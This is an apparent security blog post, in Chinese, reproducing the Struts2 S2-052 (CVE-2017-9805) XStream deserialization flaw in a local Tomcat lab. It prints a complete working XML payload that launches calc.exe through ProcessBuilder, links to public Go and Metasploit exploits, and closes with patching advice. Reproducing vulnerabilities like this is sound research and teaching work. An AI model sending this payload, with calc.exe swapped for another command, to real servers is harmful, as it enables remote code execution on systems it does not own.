Jirairya

struts2-052漏洞复现

2017-09-11
hack  sec

Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

环境

准备环境

使用XAMPP套件中自带的tomcat进行struts环境部署

漏洞环境直接使用struts2.5.12包中的样例包搭建,直接下载 struts-2.5.12-apps.zip 包(http://mirror.bit.edu.cn/apache/struts/2.5.12/struts-2.5.12-apps.zip),放于tomcat的webapps目录之下,打开tomcat,该war包自动部署

下载链接:http://mirror.bit.edu.cn/apache/struts/2.5.12/

启动tomcat

XAMPP启动tomcat

环境搭建完成

漏洞POC复现

打开burpsuit,设置代理

打开burpsuite抓包工具,开启浏览器代理设置。

设置代理

使用POC复现

点击页面的view,进入到一个表单数据提交页面,BP抓取到的post包,在其中构造POC,并forward:

弹出计算器

POC:

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

修复建议

  1. 建议尽快升级到 2.5.13或 Struts 2.3.34版本: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13 https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34
  2. 在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:
  3. 限制服务器端扩展类型,删除XML支持。

EXP

struts2_052 GO语言EXP:https://github.com/luc10/struts-rce-cve-2017-9805

struts2_052 msf exp:https://github.com/rapid7/metasploit-framework/pull/8924/files


Similar Posts

下一篇 DKMC

Comments